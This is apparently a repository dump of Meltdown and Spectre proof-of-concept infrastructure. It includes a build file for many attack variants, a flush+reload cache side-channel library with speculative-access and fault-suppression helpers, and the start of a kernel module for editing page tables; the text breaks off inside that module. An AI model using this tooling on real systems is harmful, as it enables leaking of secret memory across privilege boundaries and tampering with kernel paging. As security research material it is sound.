make\n\nclean:\n\tcd libcache && make clean\n\tcd libpte && make clean\n\tcd meltdown/US && make clean\n\tcd meltdown/P && make clean\n\tcd meltdown/RW && make clean\n\tcd meltdown/NM && make clean\n\tcd meltdown/GP && make clean\n\tcd meltdown/PK && make clean\n\tcd meltdown/DE && make clean\n\tcd meltdown/SS && make clean\n\tcd meltdown/UD && make clean\n\tcd meltdown/AC && make clean\n\tcd meltdown/BR && make clean\n\tcd spectre/PHT/sa_ip && make clean\n\tcd spectre/PHT/sa_oop && make clean\n\tcd spectre/PHT/ca_ip && make clean\n\tcd spectre/PHT/ca_oop && make clean\n\tcd spectre/BTB/sa_ip && make clean\n\tcd spectre/BTB/sa_oop && make clean\n\tcd spectre/BTB/ca_ip && make clean\t\n\tcd spectre/RSB/sa_ip && make clean\n\tcd spectre/RSB/sa_oop && make clean\n\tcd spectre/RSB/ca_ip && make clean\n\tcd spectre/RSB/ca_oop && make clean\n\tcd spectre/STL/ && make clean\n"
  },
  {
    "path": "pocs/get_hyperthread_pair.sh",
    "content": "#!/bin/zsh\n\nsetopt extendedglob\n\ncd /sys/devices/system/cpu/\n\nfor i in cpu[0-9]##; do\n  package=`cat $i/topology/physical_package_id`\n  core=`cat $i/topology/core_id`\n\n  cpu_id=\"${i#cpu}\"\n  \n  config=\"$package-$core\"\n  if (( ${+target_config} )); then\n    if [[ $target_config == $config ]]; then\n      echo \"$first_cpu_id $cpu_id\"\n      break\n    fi\n  else\n    target_config=\"$config\"\n    first_cpu_id=\"$cpu_id\"\n  fi\ndone\n"
  },
  {
    "path": "pocs/libcache/Makefile",
    "content": "all: header\n\nheader: cache.c cache.h\n\tcat cache.h cache.c | sed 's/#include \".*\"//g' > cacheutils.h\n\nclean:\n\trm -f cacheutils.h\n"
  },
  {
    "path": "pocs/libcache/cache.c",
    "content": "#include \"cache.h\"\n\n// ---------------------------------------------------------------------------\nvoid perf_init() {\n  static struct perf_event_attr attr;\n  attr.type = PERF_TYPE_HARDWARE;\n  attr.config = PERF_COUNT_HW_CPU_CYCLES;\n  attr.size = sizeof(attr);\n  attr.exclude_kernel = 1;\n  attr.exclude_hv = 1;\n  attr.exclude_callchain_kernel = 1;\n\n  perf_fd = syscall(__NR_perf_event_open, &attr, 0, -1, -1, 0);\n}\n\n#if defined(__x86_64__)\n// ---------------------------------------------------------------------------\nuint64_t rdtsc() {\n  uint64_t a, d;\n  asm volatile(\"mfence\");\n#if USE_RDTSCP\n  asm volatile(\"rdtscp\" : \"=a\"(a), \"=d\"(d) :: \"rcx\");\n#else\n  asm volatile(\"rdtsc\" : \"=a\"(a), \"=d\"(d));\n#endif\n  a = (d << 32) | a;\n  asm volatile(\"mfence\");\n  return a;\n}\n\n// ---------------------------------------------------------------------------\nuint64_t rdtsc_begin() {\n  uint64_t a, d;\n  asm volatile (\"mfence\\n\\t\"\n    \"CPUID\\n\\t\"\n    \"RDTSCP\\n\\t\"\n    \"mov %%rdx, %0\\n\\t\"\n    \"mov %%rax, %1\\n\\t\"\n    \"mfence\\n\\t\"\n    : \"=r\" (d), \"=r\" (a)\n    :\n    : \"%rax\", \"%rbx\", \"%rcx\", \"%rdx\");\n  a = (d<<32) | a;\n  return a;\n}\n\n// ---------------------------------------------------------------------------\nuint64_t rdtsc_end() {\n  uint64_t a, d;\n  asm volatile(\"mfence\\n\\t\"\n    \"RDTSCP\\n\\t\"\n    \"mov %%rdx, %0\\n\\t\"\n    \"mov %%rax, %1\\n\\t\"\n    \"CPUID\\n\\t\"\n    \"mfence\\n\\t\"\n    : \"=r\" (d), \"=r\" (a)\n    :\n    : \"%rax\", \"%rbx\", \"%rcx\", \"%rdx\");\n  a = (d<<32) | a;\n  return a;\n}\n\n// ---------------------------------------------------------------------------\nvoid flush(void *p) { asm volatile(\"clflush 0(%0)\\n\" : : \"c\"(p) : \"rax\"); }\n\n// ---------------------------------------------------------------------------\nvoid maccess(void *p) { asm volatile(\"movq (%0), %%rax\\n\" : : \"c\"(p) : \"rax\"); }\n\n// ---------------------------------------------------------------------------\nvoid mfence() { asm volatile(\"mfence\"); }\n\n// ---------------------------------------------------------------------------\nvoid nospec() { asm volatile(\"lfence\"); }\n\n// ---------------------------------------------------------------------------\nunsigned int xbegin() {\n  unsigned status;\n  asm volatile(\".byte 0xc7,0xf8,0x00,0x00,0x00,0x00\" : \"=a\"(status) : \"a\"(-1UL) : \"memory\");\n  return status;\n}\n\n// ---------------------------------------------------------------------------\nvoid xend() {\n  asm volatile(\".byte 0x0f; .byte 0x01; .byte 0xd5\" ::: \"memory\");\n}\n\n// ---------------------------------------------------------------------------\nint has_tsx() {\n  if (__get_cpuid_max(0, NULL) >= 7) {\n    unsigned a, b, c, d;\n    __cpuid_count(7, 0, a, b, c, d);\n    return (b & (1 << 11)) ? 1 : 0;\n  } else {\n    return 0;\n  }\n}\n\n// ---------------------------------------------------------------------------\nvoid maccess_tsx(void* ptr) {\n    if (xbegin() == (~0u)) {\n        maccess(ptr);\n        xend();\n    }\n}\n\n#elif defined(__i386__)\n// ---------------------------------------------------------------------------\nuint32_t rdtsc() {\n  uint32_t a, d;\n  asm volatile(\"mfence\");\n#if USE_RDTSCP\n  asm volatile(\"rdtscp\" : \"=a\"(a), \"=d\"(d));\n#else\n  asm volatile(\"rdtsc\" : \"=a\"(a), \"=d\"(d));\n#endif\n  asm volatile(\"mfence\");\n  return a;\n}\n\n// ---------------------------------------------------------------------------\nvoid flush(void *p) { asm volatile(\"clflush 0(%0)\\n\" : : \"c\"(p)); }\n\n// ---------------------------------------------------------------------------\nvoid maccess(void *p) { asm volatile(\"mov (%0), %%eax\\n\" : : \"c\"(p) : \"eax\"); }\n\n// ---------------------------------------------------------------------------\nvoid mfence() { asm volatile(\"mfence\"); }\n\n// ---------------------------------------------------------------------------\nvoid nospec() { asm volatile(\"lfence\"); }\n\n// ---------------------------------------------------------------------------\nint has_tsx() {\n  if (__get_cpuid_max(0, NULL) >= 7) {\n    unsigned a, b, c, d;\n    __cpuid_count(7, 0, a, b, c, d);\n    return (b & (1 << 11)) ? 1 : 0;\n  } else {\n    return 0;\n  }\n}\n\n\n#elif defined(__aarch64__)\n// ---------------------------------------------------------------------------\nuint64_t rdtsc() {\n#if ARM_CLOCK_SOURCE == ARM_PERF\n  long long result = 0;\n\n  asm volatile(\"DSB SY\");\n  asm volatile(\"ISB\");\n\n  if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) {\n    return 0;\n  }\n\n  asm volatile(\"ISB\");\n  asm volatile(\"DSB SY\");\n\n  return result;\n#elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC\n  asm volatile(\"DSB SY\");\n  asm volatile(\"ISB\");\n  struct timespec t1;\n  clock_gettime(CLOCK_MONOTONIC, &t1);\n  uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec;\n  asm volatile(\"ISB\");\n  asm volatile(\"DSB SY\");\n  return res;\n#elif ARM_CLOCK_SOURCE == ARM_TIMER\n  uint64_t result = 0;\n\n  asm volatile(\"DSB SY\");\n  asm volatile(\"ISB\");\n  asm volatile(\"MRS %0, PMCCNTR_EL0\" : \"=r\"(result));\n  asm volatile(\"DSB SY\");\n  asm volatile(\"ISB\");\n\n  return result;\n#else\n#error Clock source not supported\n#endif\n}\n// ---------------------------------------------------------------------------\nuint64_t rdtsc_begin() {\n#if ARM_CLOCK_SOURCE == ARM_PERF\n  long long result = 0;\n\n  asm volatile(\"DSB SY\");\n  asm volatile(\"ISB\");\n\n  if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) {\n    return 0;\n  }\n\n  asm volatile(\"DSB SY\");\n\n  return result;\n#elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC\n  asm volatile(\"DSB SY\");\n  asm volatile(\"ISB\");\n  struct timespec t1;\n  clock_gettime(CLOCK_MONOTONIC, &t1);\n  uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec;\n  asm volatile(\"DSB SY\");\n  return res;\n#elif ARM_CLOCK_SOURCE == ARM_TIMER\n  uint64_t result = 0;\n\n  asm volatile(\"DSB SY\");\n  asm volatile(\"ISB\");\n  asm volatile(\"MRS %0, PMCCNTR_EL0\" : \"=r\"(result));\n  asm volatile(\"ISB\");\n\n  return result;\n#else\n#error Clock source not supported\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nuint64_t rdtsc_end() {\n#if ARM_CLOCK_SOURCE == ARM_PERF\n  long long result = 0;\n\n  asm volatile(\"DSB SY\");\n\n  if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) {\n    return 0;\n  }\n\n  asm volatile(\"ISB\");\n  asm volatile(\"DSB SY\");\n\n  return result;\n#elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC\n  asm volatile(\"DSB SY\");\n  struct timespec t1;\n  clock_gettime(CLOCK_MONOTONIC, &t1);\n  uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec;\n  asm volatile(\"ISB\");\n  asm volatile(\"DSB SY\");\n  return res;\n#elif ARM_CLOCK_SOURCE == ARM_TIMER\n  uint64_t result = 0;\n\n  asm volatile(\"DSB SY\");\n  asm volatile(\"MRS %0, PMCCNTR_EL0\" : \"=r\"(result));\n  asm volatile(\"DSB SY\");\n  asm volatile(\"ISB\");\n\n  return result;\n#else\n#error Clock source not supported\n#endif\n}\n\n// ---------------------------------------------------------------------------\nvoid flush(void *p) {\n  asm volatile(\"DC CIVAC, %0\" ::\"r\"(p));\n  asm volatile(\"DSB ISH\");\n  asm volatile(\"ISB\");\n}\n\n// ---------------------------------------------------------------------------\nvoid maccess(void *p) {\n  volatile uint32_t value;\n  asm volatile(\"LDR %0, [%1]\\n\\t\" : \"=r\"(value) : \"r\"(p));\n  asm volatile(\"DSB ISH\");\n  asm volatile(\"ISB\");\n}\n\n// ---------------------------------------------------------------------------\nvoid mfence() { asm volatile(\"DSB ISH\"); }\n\n// ---------------------------------------------------------------------------\nvoid nospec() { asm volatile(\"DSB SY\\nISB\"); }\n\n#elif defined(__PPC64__)\nuint64_t rdtsc() {\n  uint64_t time;\n  asm volatile (\"mfspr %0, 268\\n\\t\"\n                \"lwsync\\n\\t\" : \"=r\" (time));\n\n  return time;\n}\n\n// ---------------------------------------------------------------------------\nuint64_t rdtsc_begin() {\n  uint64_t time;\n  asm volatile (\"mfspr %0, 268\\n\\t\"\n                \"lwsync\\n\\t\" : \"=r\" (time));\n\n  return time;\n}\n\n// ---------------------------------------------------------------------------\nuint64_t rdtsc_end() {\n  uint64_t time;\n  asm volatile (\"mfspr %0, 268\\n\\t\"\n                \"lwsync\\n\\t\" : \"=r\" (time));\n\n  return time;\n}\n\n// ---------------------------------------------------------------------------\nvoid flush(void *p) { asm volatile( \"dcbf 0, %0\\n\\t\"\n\t\t\t\t    \"dcs\\n\\t\"\n\t\t\t\t    \"ics\\n\\t\"\n\t\t\t\t    :  : \"r\"(p) : ); }\n\n// ---------------------------------------------------------------------------\nvoid maccess(void *p) { asm volatile( \"ld %%r0, 0(%0)\" ::\"r\"(p): \"r0\"); }\n\n// ---------------------------------------------------------------------------\nvoid mfence() { asm volatile( \"lwsync\" ); }\n\n// ---------------------------------------------------------------------------\nvoid nospec() { asm volatile( \"hwsync\" ); }\n#endif\n\n// ---------------------------------------------------------------------------\nint flush_reload(void *ptr) {\n  uint64_t start = 0, end = 0;\n\n#if USE_RDTSC_BEGIN_END\n  start = rdtsc_begin();\n#else\n  start = rdtsc();\n#endif\n  maccess(ptr);\n#if USE_RDTSC_BEGIN_END\n  end = rdtsc_end();\n#else\n  end = rdtsc();\n#endif\n\n  mfence();\n\n  flush(ptr);\n\n  if (end - start < CACHE_MISS) {\n    return 1;\n  }\n  return 0;\n}\n\n// ---------------------------------------------------------------------------\nint flush_reload_t(void *ptr) {\n  uint64_t start = 0, end = 0;\n\n#if USE_RDTSC_BEGIN_END\n  start = rdtsc_begin();\n#else\n  start = rdtsc();\n#endif\n  maccess(ptr);\n#if USE_RDTSC_BEGIN_END\n  end = rdtsc_end();\n#else\n  end = rdtsc();\n#endif\n\n  mfence();\n\n  flush(ptr);\n\n  return (int)(end - start);\n}\n\n// ---------------------------------------------------------------------------\nint reload_t(void *ptr) {\n  uint64_t start = 0, end = 0;\n\n#if USE_RDTSC_BEGIN_END\n  start = rdtsc_begin();\n#else\n  start = rdtsc();\n#endif\n  maccess(ptr);\n#if USE_RDTSC_BEGIN_END\n  end = rdtsc_end();\n#else\n  end = rdtsc();\n#endif\n\n  mfence();\n\n  return (int)(end - start);\n}\n\n\n// ---------------------------------------------------------------------------\nsize_t detect_flush_reload_threshold() {\n  size_t reload_time = 0, flush_reload_time = 0, i, count = 1000000;\n  size_t dummy[16];\n  size_t *ptr = dummy + 8;\n\n  maccess(ptr);\n  for (i = 0; i < count; i++) {\n    reload_time += reload_t(ptr);\n  }\n  for (i = 0; i < count; i++) {\n    flush_reload_time += flush_reload_t(ptr);\n  }\n  reload_time /= count;\n  flush_reload_time /= count;\n\n  return (flush_reload_time + reload_time * 2) / 3;\n}\n\n// ---------------------------------------------------------------------------\nvoid maccess_speculative(void* ptr) {\n    int i;\n    size_t dummy = 0;\n    void* addr;\n\n    for(i = 0; i < 50; i++) {\n        size_t c = ((i * 167) + 13) & 1;\n        addr = (void*)(((size_t)&dummy) * c + ((size_t)ptr) * (1 - c));\n        flush(&c);\n        mfence();\n        if(c / 0.5 > 1.1) maccess(addr);\n    }\n}\n\n// ---------------------------------------------------------------------------\nvoid unblock_signal(int signum __attribute__((__unused__))) {\n  sigset_t sigs;\n  sigemptyset(&sigs);\n  sigaddset(&sigs, signum);\n  sigprocmask(SIG_UNBLOCK, &sigs, NULL);\n}\n\n// ---------------------------------------------------------------------------\nvoid trycatch_segfault_handler(int signum) {\n  (void)signum;\n\n  int i;\n  for(i = 1; i < 32; i++) {\n    unblock_signal(i);\n  }\n  longjmp(trycatch_buf, 1);\n}\n\n// ---------------------------------------------------------------------------\nint try_start() {\n#if defined(__i386__) || defined(__x86_64__)\n    if(has_tsx()) {\n        unsigned status;\n        // tsx begin\n        asm volatile(\".byte 0xc7,0xf8,0x00,0x00,0x00,0x00\"\n                 : \"=a\"(status)\n                 : \"a\"(-1UL)\n                 : \"memory\");\n        return status == (~0u);\n    } else\n#endif\n    {\n        int i;\n        for(i = 1; i < 32; i++) {\n            signal(i, trycatch_segfault_handler);\n        }\n        return !setjmp(trycatch_buf);\n    }\n}\n\n// ---------------------------------------------------------------------------\nvoid try_end() {\n#if defined(__i386__) || defined(__x86_64__)\n    if(!has_tsx())\n#endif\n    {\n        int i;\n        for(i = 1; i < 32; i++) {\n            signal(i, SIG_DFL);\n        }\n    }\n}\n\n// ---------------------------------------------------------------------------\nvoid try_abort() {\n#if defined(__i386__) || defined(__x86_64__)\n    if(has_tsx()) {\n        asm volatile(\".byte 0x0f; .byte 0x01; .byte 0xd5\" ::: \"memory\");\n    } else\n#endif\n    {\n        maccess(0);\n    }\n}\n\n// ---------------------------------------------------------------------------\nvoid cache_encode(char data) {\n  maccess(mem + data * pagesize);\n}\n\n// ---------------------------------------------------------------------------\nvoid cache_decode_pretty(char *leaked, int index) {\n  for(int i = 0; i < 256; i++) {\n    int mix_i = ((i * 167) + 13) & 255; // avoid prefetcher\n    if(flush_reload(mem + mix_i * pagesize)) {\n      if((mix_i >= 'A' && mix_i <= 'Z') && leaked[index] == ' ') {\n        leaked[index] = mix_i;\n        printf(\"\\x1b[33m%s\\x1b[0m\\r\", leaked);\n      }\n      fflush(stdout);\n      sched_yield();\n    }\n  }\n}\n\n// ---------------------------------------------------------------------------\nvoid flush_shared_memory() {\n  for(int j = 0; j < 256; j++) {\n    flush(mem + j * pagesize);\n  }\n}\n"
  },
  {
    "path": "pocs/libcache/cache.h",
    "content": "#ifndef _CACHEUTILS_H_\n#define _CACHEUTILS_H_\n\n#include <assert.h>\n#include <unistd.h>\n#include <sys/syscall.h>\n#include <linux/perf_event.h>\n#include <sys/ioctl.h>\n#include <stdio.h>\n#include <stdint.h>\n#include <signal.h>\n#include <setjmp.h>\n#include <sched.h>\n#define ARM_PERF            1\n#define ARM_CLOCK_MONOTONIC 2\n#define ARM_TIMER           3\n\n/* ============================================================\n *                    User configuration\n * ============================================================ */\nstatic size_t CACHE_MISS = 0;\nstatic size_t pagesize = 0;\nchar *mem;\n\n#define USE_RDTSC_BEGIN_END     0\n\n#define USE_RDTSCP              1\n\n#define ARM_CLOCK_SOURCE        ARM_CLOCK_MONOTONIC\n\n/* ============================================================\n *                  User configuration End\n * ============================================================ */\n\n\n// ---------------------------------------------------------------------------\nstatic size_t perf_fd;\nvoid perf_init();\n\n#if defined(__x86_64__)\n// ---------------------------------------------------------------------------\nuint64_t rdtsc();\n\n// ---------------------------------------------------------------------------\nuint64_t rdtsc_begin();\n\n// ---------------------------------------------------------------------------\nuint64_t rdtsc_end();\n\n// ---------------------------------------------------------------------------\nvoid flush(void *p);\n\n// ---------------------------------------------------------------------------\nvoid maccess(void *p);\n\n// ---------------------------------------------------------------------------\nvoid mfence();\n\n// ---------------------------------------------------------------------------\nvoid nospec();\n\n#include <cpuid.h>\n// ---------------------------------------------------------------------------\nunsigned int xbegin();\n\n// ---------------------------------------------------------------------------\nvoid xend();\n\n// ---------------------------------------------------------------------------\nint has_tsx();\n\n// ---------------------------------------------------------------------------\nvoid maccess_tsx(void* ptr);\n\n#elif defined(__i386__)\n// ---------------------------------------------------------------------------\nuint32_t rdtsc();\n\n// ---------------------------------------------------------------------------\nvoid flush(void *p);\n\n// ---------------------------------------------------------------------------\nvoid maccess(void *p);\n\n// ---------------------------------------------------------------------------\nvoid mfence();\n\n// ---------------------------------------------------------------------------\nvoid nospec();\n\n#include <cpuid.h>\n// ---------------------------------------------------------------------------\nint has_tsx();\n\n#elif defined(__aarch64__)\n#if ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC\n#include <time.h>\n#endif\n\n// ---------------------------------------------------------------------------\nuint64_t rdtsc();\n\n// ---------------------------------------------------------------------------\nuint64_t rdtsc_begin();\n\n// ---------------------------------------------------------------------------\nuint64_t rdtsc_end();\n\n// ---------------------------------------------------------------------------\nvoid flush(void *p);\n\n// ---------------------------------------------------------------------------\nvoid maccess(void *p);\n\n// ---------------------------------------------------------------------------\nvoid mfence();\n\n// ---------------------------------------------------------------------------\nvoid nospec();\n\n#elif defined(__PPC64__)\n#include <sys/platform/ppc.h>\nuint64_t rdtsc();\n\n// ---------------------------------------------------------------------------\nuint64_t rdtsc_begin();\n\n// ---------------------------------------------------------------------------\nuint64_t rdtsc_end();\n\n// ---------------------------------------------------------------------------\nvoid flush(void *p);\n\n// ---------------------------------------------------------------------------\nvoid maccess(void *p);\n\n// ---------------------------------------------------------------------------\nvoid mfence();\n\n// ---------------------------------------------------------------------------\nvoid nospec();\n#endif\n\n// ---------------------------------------------------------------------------\nint flush_reload(void *ptr);\n\n// ---------------------------------------------------------------------------\nint flush_reload_t(void *ptr);\n\n// ---------------------------------------------------------------------------\nint reload_t(void *ptr);\n\n// ---------------------------------------------------------------------------\nsize_t detect_flush_reload_threshold();\n\n// ---------------------------------------------------------------------------\nvoid maccess_speculative(void* ptr);\n\n// ---------------------------------------------------------------------------\njmp_buf trycatch_buf;\n\n// ---------------------------------------------------------------------------\nvoid unblock_signal(int signum __attribute__((__unused__)));\n\n// ---------------------------------------------------------------------------\nvoid trycatch_segfault_handler(int signum);\n\n// ---------------------------------------------------------------------------\nint try_start();\n\n// ---------------------------------------------------------------------------\nvoid try_end();\n\n// ---------------------------------------------------------------------------\nvoid try_abort();\n\n// ---------------------------------------------------------------------------\nvoid cache_encode(char data);\n\n// ---------------------------------------------------------------------------\nvoid cache_decode_pretty(char *leaked, int index);\n\n// ---------------------------------------------------------------------------\nvoid flush_shared_memory();\n#endif\n"
  },
  {
    "path": "pocs/libpte/.gitignore",
    "content": "# ---> C\n# Object files\n*.o\n*.ko\n*.obj\n*.elf\n\n# Precompiled Headers\n*.gch\n*.pch\n\n# Libraries\n*.lib\n*.a\n*.la\n*.lo\n\n# Shared objects (inc. Windows DLLs)\n*.dll\n*.so\n*.so.*\n*.dylib\n\n# Executables\n*.exe\n*.out\n*.app\n*.i*86\n*.x86_64\n*.hex\n\n# Debug files\n*.dSYM/\n\n"
  },
  {
    "path": "pocs/libpte/Makefile",
    "content": "all: pteditor ptedit.o header libpte.a\n\nheader: module/pteditor.c module/pteditor.h ptedit.c ptedit.h\n\tcat module/pteditor.h ptedit.h ptedit.c | \\\n\tsed -e 's/#include \".*\"//g' -e \"1i // Warning: this file was generated by make. DO NOT EDIT!\" > ptedit_header.h\n\npteditor: module/pteditor.c\n\tcd module && make\n\nptedit.o: ptedit.c ptedit.h\n\tgcc -Wall -Wextra ptedit.c -c\n\nlibpte.a: ptedit.o\n\tar rcs libpte.a ptedit.o\n\nclean:\n\tcd module && make clean\n\trm -f example *.o *.a\n"
  },
  {
    "path": "pocs/libpte/module/Makefile",
    "content": "obj-m += pteditor.o\nccflags-y += -Wno-unused-result\nall:\n\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules\nclean:\n\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean\n\n"
  },
  {
    "path": "pocs/libpte/module/pteditor.c",
    "content": "#include <linux/mm_types.h>\n#include <asm/tlbflush.h>\n#include <asm/uaccess.h>\n#include <asm/io.h>\n#include <linux/fs.h>\n#include <linux/fs.h>\n#include <linux/kallsyms.h>\n#include <linux/miscdevice.h>\n#include <linux/mm.h>\n#include <linux/module.h>\n#include <linux/version.h>\n#include <linux/ptrace.h>\n#include <linux/proc_fs.h>\n#include <linux/kprobes.h>\n\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 8, 0)\n#include <linux/mmap_lock.h>\n#endif\n\n#ifdef CONFIG_PAGE_TABLE_ISOLATION\npgd_t __attribute__((weak)) __pti_set_user_pgtbl(pgd_t *pgdp, pgd_t pgd);\n#endif\n\n\n#include \"pteditor.h\"\n\nMODULE_AUTHOR(\"Michael Schwarz\");\nMODULE_DESCRIPTION(\"Device to play around with paging structures\");\nMODULE_LICENSE(\"GPL\");\n\n#if defined(__aarch64__)\n#include <linux/hugetlb.h>\n\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)\ntypedef pgdval_t p4dval_t;\n#endif\n\nvoid __attribute__((weak)) set_swapper_pgd(pgd_t* pgdp, pgd_t pgd) {}\npgd_t __attribute__((weak)) swapper_pg_dir[PTRS_PER_PGD];\n\nstatic inline pte_t native_make_pte(pteval_t val)\n{\n  return __pte(val);\n}\n\nstatic inline pgd_t native_make_pgd(pgdval_t val)\n{\n  return __pgd(val);\n}\n\nstatic inline pmd_t native_make_pmd(pmdval_t val)\n{\n  return __pmd(val);\n}\n\nstatic inline pud_t native_make_pud(pudval_t val)\n{\n  return __pud(val);\n}\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)\n\nstatic inline p4d_t native_make_p4d(p4dval_t val)\n{\n  return __p4d(val);\n}\n#endif\n\nstatic inline pteval_t native_pte_val(pte_t pte)\n{\n  return pte_val(pte);\n}\n\nstatic inline int pud_large(pud_t pud) {\n#ifdef __PAGETABLE_PMD_FOLDED \n    return pud_val(pud) && !(pud_val(pud) & PUD_TABLE_BIT);\n#else\n    return 0;\n#endif\n}\n\nstatic inline int pmd_large(pmd_t pmd) {\n#ifdef __PAGETABLE_PMD_FOLDED\n    return pmd_val(pmd) && !(pmd_val(pmd) & PMD_TABLE_BIT)\n#else\n    return 0;\n#endif\n}\n#endif\n\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)\n#define from_user raw_copy_from_user\n#define to_user raw_copy_to_user\n#else\n#define from_user copy_from_user\n#define to_user copy_to_user\n#endif\n\n#ifdef pr_fmt\n#undef pr_fmt\n#endif\n#define pr_fmt(fmt) \"[pteditor-module] \" fmt\n\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 7, 0)\nunsigned long kallsyms_lookup_name(const char* name) {\n  struct kprobe kp = {\n    .symbol_name\t= name,\n  };\n\n  int ret = register_kprobe(&kp);\n  if (ret < 0) {\n    return 0;\n  };\n\n  unregister_kprobe(&kp);\n\n  return (unsigned long) kp.addr;\n}\n#endif\n\ntypedef struct {\n    size_t pid;\n    pgd_t *pgd;\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)\n    p4d_t *p4d;\n#else\n    size_t *p4d;\n#endif\n    pud_t *pud;\n    pmd_t *pmd;\n    pte_t *pte;\n    size_t valid;\n} vm_t;\n\nstatic bool device_busy = false;\nstatic bool mm_is_locked = false;\n\nvoid (*invalidate_tlb)(unsigned long);\nvoid (*flush_tlb_mm_range_func)(struct mm_struct*, unsigned long, unsigned long, unsigned int, bool);\nstatic struct mm_struct* get_mm(size_t);\n\nstatic int device_open(struct inode *inode, struct file *file) {\n  /* Check if device is busy */\n  if (device_busy == true) {\n    return -EBUSY;\n  }\n\n  device_busy = true;\n\n  return 0;\n}\n\nstatic int device_release(struct inode *inode, struct file *file) {\n  /* Unlock module */\n  device_busy = false;\n\n  return 0;\n}\n\nstatic void\n_invalidate_tlb(void *addr) {\n#if defined(__i386__) || defined(__x86_64__)\n  int pcid;\n  unsigned long flags;\n  unsigned long cr4;\n\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 2, 98)\n#if defined(X86_FEATURE_INVPCID_SINGLE) && defined(INVPCID_TYPE_INDIV_ADDR)\n  if (cpu_feature_enabled(X86_FEATURE_INVPCID_SINGLE)) {\n    for(pcid = 0; pcid < 4096; pcid++) {\n      invpcid_flush_one(pcid, (long unsigned int) addr);\n    }\n  } \n  else \n#endif\n  {\n    raw_local_irq_save(flags);\n#if LINUX_VERSION_CODE < KERNEL_VERSION(5, 8, 0)\n#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 0, 0)\n    cr4 = native_read_cr4();\n#else\n    cr4 = this_cpu_read(cpu_tlbstate.cr4);\n#endif\n#else\n    cr4 = __read_cr4();\n#endif\n#if LINUX_VERSION_CODE < KERNEL_VERSION(5, 8, 0)\n    native_write_cr4(cr4 & ~X86_CR4_PGE);\n    native_write_cr4(cr4);\n#else\n    __write_cr4(cr4 & ~X86_CR4_PGE);\n    __write_cr4(cr4);\n#endif\n    raw_local_irq_restore(flags);\n  }\n#else\n  asm volatile (\"invlpg (%0)\": : \"r\"(addr));\n#endif\n#elif defined(__aarch64__)\n  asm volatile (\"dsb ishst\");\n  asm volatile (\"tlbi vmalle1is\");\n  asm volatile (\"dsb ish\");\n  asm volatile (\"isb\");\n#endif\n}\n\nstatic void\ninvalidate_tlb_custom(unsigned long addr) {\n  on_each_cpu(_invalidate_tlb, (void*) addr, 1);\n}\n\nstatic void\ninvalidate_tlb_kernel(unsigned long addr) {\n  flush_tlb_mm_range_func(get_mm(task_pid_nr(current)), addr, addr + PAGE_SIZE, PAGE_SHIFT, false);\n}\n\nstatic void _set_pat(void* _pat) {\n#if defined(__i386__) || defined(__x86_64__)\n    int low, high;\n    size_t pat = (size_t)_pat;\n    low = pat & 0xffffffff;\n    high = (pat >> 32) & 0xffffffff;\n    asm volatile(\"wrmsr\" : : \"a\"(low), \"d\"(high), \"c\"(0x277));\n#elif defined(__aarch64__)\n    size_t pat = (size_t)_pat;\n    asm volatile (\"msr mair_el1, %0\\n\" : : \"r\"(pat));\n#endif\n}\n\nstatic void set_pat(size_t pat) {\n    on_each_cpu(_set_pat, (void*) pat, 1);\n}\n\nstatic struct mm_struct* get_mm(size_t pid) {\n  struct task_struct *task;\n  struct pid* vpid;\n\n  /* Find mm */\n  task = current;\n  if(pid != 0) {\n    vpid = find_vpid(pid);\n    if(!vpid) return NULL;\n    task = pid_task(vpid, PIDTYPE_PID);\n    if(!task) return NULL;\n  }\n  if(task->mm) {\n      return task->mm;\n  } else {\n      return task->active_mm;\n  }\n  return NULL;\n}\n\nstatic int resolve_vm(size_t addr, vm_t* entry, int lock) {\n  struct mm_struct *mm;\n\n  if(!entry) return 1;\n  entry->pud = NULL;\n  entry->pmd = NULL;\n  entry->pgd = NULL;\n  entry->pte = NULL;\n  entry->p4d = NULL;\n  entry->valid = 0;\n\n  mm = get_mm(entry->pid);\n  if(!mm) {\n      return 1;\n  }\n\n  /* Lock mm */\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 8, 0)\n  if(lock) mmap_read_lock(mm);\n#else\n  if(lock) down_read(&mm->mmap_sem);\n#endif\n\n  /* Return PGD (page global directory) entry */\n  entry->pgd = pgd_offset(mm, addr);\n  if (pgd_none(*(entry->pgd)) || pgd_bad(*(entry->pgd))) {\n      entry->pgd = NULL;\n      goto error_out;\n  }\n  entry->valid |= PTEDIT_VALID_MASK_PGD;\n\n\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)\n  /* Return p4d offset */\n  entry->p4d = p4d_offset(entry->pgd, addr);\n  if (p4d_none(*(entry->p4d)) || p4d_bad(*(entry->p4d))) {\n    entry->p4d = NULL;\n    goto error_out;\n  }\n  entry->valid |= PTEDIT_VALID_MASK_P4D;\n\n  /* Get offset of PUD (page upper directory) */\n  entry->pud = pud_offset(entry->p4d, addr);\n  if (pud_none(*(entry->pud))) {\n    entry->pud = NULL;\n    goto error_out;\n  }\n  entry->valid |= PTEDIT_VALID_MASK_PUD;\n#else\n  /* Get offset of PUD (page upper directory) */\n  entry->pud = pud_offset(entry->pgd, addr);\n  if (pud_none(*(entry->pud))) {\n    entry->pud = NULL;\n    goto error_out;\n  }\n  entry->valid |= PTEDIT_VALID_MASK_PUD;\n#endif\n\n\n  